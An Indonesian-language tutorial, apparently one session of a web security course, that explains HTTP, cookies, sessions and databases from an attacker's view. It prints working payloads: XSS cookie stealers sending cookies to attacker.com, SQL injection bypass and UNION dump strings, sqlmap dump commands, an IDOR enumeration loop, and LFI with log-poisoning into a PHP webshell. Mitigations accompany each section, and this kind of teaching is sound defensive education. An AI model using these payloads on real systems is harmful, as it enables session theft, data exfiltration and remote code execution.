Web Technology — Membedah Arsitektur dan Komunikasi Aplikasi Web

S5: Web Technology — Membedah Arsitektur dan Komunikasi Aplikasi Web

 aplikasi web adalah fondasi utama yang memungkinkan pertukaran data secara instan antara pengguna (klien) dan pusat data (server) melalui jaringan internet.Tanpa adanya struktur yang terorganisir dan protokol komunikasi yang baku, aplikasi modern tidak akan mampu menyajikan data secara dinamis, cepat, dan aman

Web Technology:Membedah Arsitektur dan Komunikasi Aplikasi Web

Mayoritas target serangan modern saat ini berbasis web. Namun, kesalahan terbesar para pemula adalah langsung melompat menggunakan alat pemindai otomatis tanpa memahami bagaimana sebuah aplikasi web dibangun. Untuk memanipulasi sebuah sistem, kamu harus terlebih dahulu memahami siklus hidup data, struktur basis data, dan bahasa yang digunakan oleh server maupun browser.


1. Anatomi Protokol HTTP — Request & Response

Setiap interaksi di web mengandalkan protokol HTTP (Hypertext Transfer Protocol). Protokol ini berbasis teks dan terdiri dari dua komponen utama: Request (dari client ke server) dan Response (balasan server). Memahami struktur ini adalah fondasi dari semua web exploitation.

Anatomi HTTP Request:

# Contoh raw HTTP Request saat login
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Length: 32

username=admin&password=secret123

Anatomi HTTP Response:

# Balasan server
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=newtoken456; HttpOnly; Secure
X-Powered-By: PHP/7.4.3
Server: Apache/2.4.41 (Ubuntu)

<html>…</html>

💡 Info Bocor di Header: Perhatikan header X-Powered-By dan Server di atas — server secara sukarela memberitahu teknologi yang digunakan. Ini adalah informasi berharga dalam fase Fingerprinting dan bisa langsung dicari CVE-nya.
A. HTTP Methods
Method Fungsi Potensi Eksploitasi
GET Ambil data. Parameter tampil di URL. Parameter di URL rentan SQLi, XSS reflected, IDOR.
POST Kirim data (form, login, upload). Body payload rentan SQLi, file upload exploit, CSRF.
PUT Update/upload resource ke server. Jika tidak diproteksi bisa upload webshell langsung.
DELETE Hapus resource di server. Broken Access Control — hapus data user lain.
OPTIONS Cek method apa saja yang diizinkan server. Recon — mengetahui method berbahaya yang aktif.
B. HTTP Status Codes — Perspektif Attacker
Kode Artinya Makna bagi Attacker
200 OK — request sukses. Endpoint aktif, path ditemukan saat fuzzing.
301/302 Redirect permanen/sementara. Potensi Open Redirect jika parameter URL bisa dikontrol.
401 Unauthorized — butuh autentikasi. Endpoint sensitif — target brute force atau token bypass.
403 Forbidden — akses ditolak. Resource ada tapi diblokir — coba 403 bypass techniques.
404 Not Found. Path tidak ada. Lanjut fuzzing wordlist lain.
500 Internal Server Error. Server crash — kemungkinan besar input kamu memicu bug. Analisis error message-nya.

2. Cookie, Session, dan Token — Mekanisme Identitas Web

HTTP bersifat stateless — setiap request berdiri sendiri tanpa memori request sebelumnya. Untuk mengenali pengguna yang sudah login, web menggunakan tiga mekanisme utama:

  • Cookie — File kecil yang disimpan di browser. Dikirim otomatis setiap request ke domain yang bersangkutan.
    Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
    ⚠️ Flag HttpOnly mencegah JavaScript membaca cookie (mitigasi XSS). Tanpa flag ini = cookie stealing via XSS.
  • Session — ID unik yang disimpan di server. Browser hanya menyimpan session ID-nya via cookie. Jika session ID bisa ditebak atau dicuri = Session Hijacking.
    ⚠️ Session ID yang lemah (sequential, pendek, tidak random) bisa di-brute force.
  • JWT (JSON Web Token) — Token terenkripsi yang berisi klaim user. Sering digunakan di API modern.
    eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
    ⚠️ Jika algorithm di-set ke “none” atau secret key lemah = JWT Forgery attack.

Real Case: Cookie Stealing via XSS

<!– Payload XSS untuk mencuri cookie –>
<script>
  new Image().src = “http://attacker.com/steal?c=” + document.cookie;
</script>

# Attacker menerima di server-nya:
# GET /steal?c=session=abc123xyz;authToken=eyJhbG…

⚠️ Mitigasi: Selalu set flag HttpOnly pada cookie session. Implementasi CSP (Content Security Policy) untuk mencegah eksekusi script eksternal.

3. Arsitektur Basis Data & Backend

Aplikasi web modern memisahkan logika tampilan (Frontend) dengan pusat data (Backend & Database). Pemahaman tentang bagaimana query dieksekusi adalah kunci dari eksploitasi data.

[WEB ARCHITECTURE : DATA FLOW]

Relational Database (SQL): Menggunakan tabel terstruktur — MySQL, PostgreSQL, MSSQL, SQLite. Jika input pengguna langsung dimasukkan ke dalam query SQL tanpa sanitasi = celah SQL Injection tercipta.

NoSQL Database: Berbasis dokumen dinamis — MongoDB, Redis, CouchDB. Struktur berbeda tapi tetap rentan terhadap manipulasi logika query jika autentikasinya lemah atau input tidak disanitasi (NoSQL Injection).

ORM (Object-Relational Mapping): Layer abstraksi di atas database (Eloquent, SQLAlchemy). Mengurangi risiko SQLi konvensional, tapi raw query tetap bisa berbahaya jika digunakan sembarangan.

Database Tipe Kerentanan Umum Tool Exploit
MySQL Relational (SQL) SQL Injection, weak credentials, file read via LOAD_FILE() sqlmap, manual
MSSQL Relational (SQL) SQLi + xp_cmdshell untuk RCE, stacked queries sqlmap, manual
MongoDB NoSQL (Document) NoSQL Injection via operator $where, $regex, auth bypass manual, NoSQLMap
Redis NoSQL (Key-Value) Exposed tanpa auth, RCE via config rewrite redis-cli, manual

4. SQL Injection — Real Case & PoC

SQL Injection adalah kerentanan paling klasik sekaligus masih menjadi salah satu yang paling umum ditemukan hingga hari ini. Terjadi ketika input pengguna langsung digunakan dalam query SQL tanpa sanitasi.

Kode PHP yang Rentan:

// VULNERABLE — jangan lakukan ini di produksi
$username = $_GET[‘user’];
$query = “SELECT * FROM users WHERE username = ‘$username'”;
$result = mysqli_query($conn, $query);

PoC — Classic Auth Bypass:

# Input attacker di field username:
admin‘ OR ‘1’=’1

# Query yang terbentuk:
SELECT * FROM users WHERE username = ‘admin’ OR ‘1’=’1′

# ‘1’=’1′ selalu TRUE → semua baris dikembalikan → login bypass!

PoC — UNION-Based Data Extraction:

# URL target: http://target.com/item?id=1

# Step 1: Cari jumlah kolom dengan ORDER BY
http://target.com/item?id=1 ORDER BY 3–

# Step 2: UNION untuk ekstrak data database
http://target.com/item?id=-1 UNION SELECT 1,database(),user()–
# Output: myapp_db | root@localhost

# Step 3: Dump tabel users
http://target.com/item?id=-1 UNION SELECT 1,username,password FROM users–
# Output: admin | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: “password”)

Otomasi dengan sqlmap:

# Basic scan
$ sqlmap -u “http://target.com/item?id=1” –dbs

# Dump tabel spesifik
$ sqlmap -u “http://target.com/item?id=1” -D myapp_db -T users –dump

# Scan dengan cookie (autentikasi)
$ sqlmap -u “http://target.com/profile?id=1” –cookie=“session=abc123” –dbs

⚠️ Mitigasi SQLi: Gunakan Prepared Statements / Parameterized Queries. Contoh PHP yang aman:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);


5. Cross-Site Scripting (XSS) — Real Case & PoC

XSS terjadi ketika attacker berhasil menyisipkan script berbahaya ke dalam halaman web yang kemudian dieksekusi oleh browser korban. Ada tiga tipe utama: Reflected, Stored, dan DOM-based.

Tipe Cara Kerja Dampak
Reflected XSS Script di URL, langsung di-reflect ke halaman tanpa disimpan. Phishing, cookie stealing via link berbahaya.
Stored XSS Script disimpan di database, dieksekusi setiap kali halaman dibuka pengguna lain. Paling berbahaya — bisa hijack session semua user yang membuka halaman.
DOM-based XSS Manipulasi DOM langsung oleh JavaScript client-side tanpa melibatkan server. Lebih sulit dideteksi WAF karena tidak melewati server.

PoC — Stored XSS pada kolom komentar:

<!– Payload basic – test apakah XSS ada –>
<script>alert(document.domain)</script>

<!– Bypass filter dasar –>
<img src=x onerror=“alert(1)”>
<svg onload=“alert(document.cookie)”>

<!– Payload cookie stealer –>
<script>
  fetch(“https://attacker.com/log?c=”+btoa(document.cookie))
</script>

⚠️ Mitigasi XSS: Output encoding — semua output ke HTML harus di-escape (htmlspecialchars() di PHP). Implementasi CSP header yang ketat. Set flag HttpOnly pada cookie session.

6. IDOR — Insecure Direct Object Reference

IDOR adalah kerentanan kontrol akses di mana aplikasi menggunakan input dari pengguna untuk mengakses objek secara langsung tanpa verifikasi kepemilikan. Salah satu bug yang paling banyak ditemukan di program bug bounty.

Real Case — Akses Data User Lain:

# Kamu login sebagai user ID 1337
# Aplikasi menampilkan profil di:
GET /api/user/1337/profile

# Coba ganti ID ke user lain:
GET /api/user/1338/profile

# Jika server merespons data user 1338 tanpa error = IDOR!
{“id”:1338,”email”:”victim@email.com”,”phone”:”081234567890″}

# Enumerasi massal dengan Bash:
$ for id in {1000..2000}; do
  curl -s -H “Cookie: session=abc123” http://target.com/api/user/$id/profile
done | grep -v “Unauthorized”

⚠️ Mitigasi IDOR: Selalu verifikasi kepemilikan objek di sisi server sebelum mengembalikan data. Gunakan UUID random sebagai ID objek (bukan sequential integer) untuk mempersulit enumerasi.

7. Directory Traversal & File Inclusion

Directory Traversal terjadi ketika attacker bisa memanipulasi path file untuk mengakses file di luar direktori yang seharusnya. File Inclusion (LFI/RFI) membawa ini selangkah lebih jauh — hingga eksekusi kode.

PoC — Local File Inclusion (LFI):

# Aplikasi load halaman berdasarkan parameter:
http://target.com/page?file=about.html

# Payload LFI — baca /etc/passwd:
http://target.com/page?file=../../../../etc/passwd

# Jika berhasil, response mengandung:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

# LFI → RCE via Log Poisoning
# 1. Inject PHP ke User-Agent (masuk ke access.log)
curl -A “<?php system(\$_GET[‘cmd’]); ?>” http://target.com/

# 2. Include log file via LFI + execute
http://target.com/page?file=../../../../var/log/apache2/access.log&cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚠️ Mitigasi: Jangan pernah gunakan input user langsung sebagai path file. Gunakan whitelist halaman yang diizinkan. Nonaktifkan allow_url_include di PHP configuration.

8. OWASP Top 10 — Peta Ancaman Web Modern

OWASP (Open Web Application Security Project) menerbitkan daftar 10 kerentanan web paling kritis yang diperbarui secara berkala. Ini adalah referensi standar industri untuk web security testing.

# Kategori Contoh Kerentanan
A01 Broken Access Control IDOR, privilege escalation, akses endpoint admin tanpa autentikasi.
A02 Cryptographic Failures Password disimpan plain text, HTTP tanpa HTTPS, enkripsi lemah.
A03 Injection SQL Injection, NoSQL Injection, Command Injection, LDAP Injection.
A04 Insecure Design Arsitektur yang insecure by design, missing threat modeling.
A05 Security Misconfiguration Default credentials, directory listing aktif, debug mode di produksi.
A06 Vulnerable Components Library/framework outdated dengan CVE yang sudah diketahui publik.
A07 Auth Failures Brute force tanpa rate limit, session tidak di-invalidate saat logout.
A08 Software Integrity Failures Supply chain attack, update tanpa verifikasi signature.
A09 Logging Failures Tidak ada log untuk aktivitas login gagal, tidak ada alerting.
A10 SSRF Server melakukan request ke URL yang dikontrol attacker, bisa akses internal network.
💡 Lab Practice: Semua kerentanan di atas bisa dipelajari secara legal di PortSwigger Web Security Academy (portswigger.net/web-security) — gratis dan ada lab interaktif untuk setiap kategori OWASP. Ini adalah sumber terbaik untuk belajar web hacking dari nol.

Kesimpulan

“Kamu tidak bisa membongkar mesin jika tidak tahu bagaimana setiap sekrupnya bekerja. HTTP header, cookie, session, dan query database adalah komponen yang akan kita manipulasi di sesi-sesi berikutnya.”

Sebelum menggunakan tools otomatis, pastikan kamu paham apa yang terjadi di balik setiap request dan response. Fondasi ini yang membedakan antara script kiddie dan researcher sungguhan.

Selanjutnya: S6 — Cloud & DevOps Security →

 

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *